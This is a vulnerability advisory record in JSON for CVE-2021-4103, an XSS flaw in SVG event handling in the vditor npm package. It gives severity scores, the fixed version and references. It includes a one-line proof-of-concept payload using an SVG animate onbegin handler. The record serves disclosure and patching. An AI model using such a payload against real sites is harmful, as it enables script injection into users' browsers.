{"id":"CVE-2021-4103","aliases":["GHSA-cxm3-v4mv-6mh8"],"url":"https://o3.security/vulnerability/CVE-2021-4103","summary":"vditor Vulnerable to Cross-site Scripting in SVG events","details":"vditor does not filter user input in SVG events, leading to XSS \n\n### PoC\n\n```html\n</a>\n<svg><animate onbegin=alert(11) attributeName=x dur=1s>\n```","published":"2022-01-23T02:15:06.997Z","modified":"2026-07-08T05:59:54.757115369Z","cvss":{"score":5.4,"severity":"MEDIUM","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"},"epss":{"score":0.00664,"percentile":0.48763,"asOf":"2026-08-23"},"cisaKev":null,"exploitsKnown":1,"affectedPackages":[{"ecosystem":"npm","name":"vditor","fixedVersion":"3.8.11"}],"fix":{"url":"https://github.com/vanessa219/vditor/commit/8d4d0889dd72b2f839e93a49db3da3a370416c7d","label":"vanessa219/vditor@8d4d088"},"references":[{"type":"FIX","url":"https://github.com/vanessa219/vditor/commit/8d4d0889dd72b2f839e93a49db3da3a370416c7d"},{"type":"FIX","url":"https://huntr.dev/bounties/67b980af-7357-4879-9448-a926c6474225"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-4103"},{"type":"WEB","url":"https://github.com/Vanessa219/vditor/issues/1133"},{"type":"PACKAGE","url":"https://github.com/vanessa219/vditor"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-07-08T05:59:54.757115369Z"}}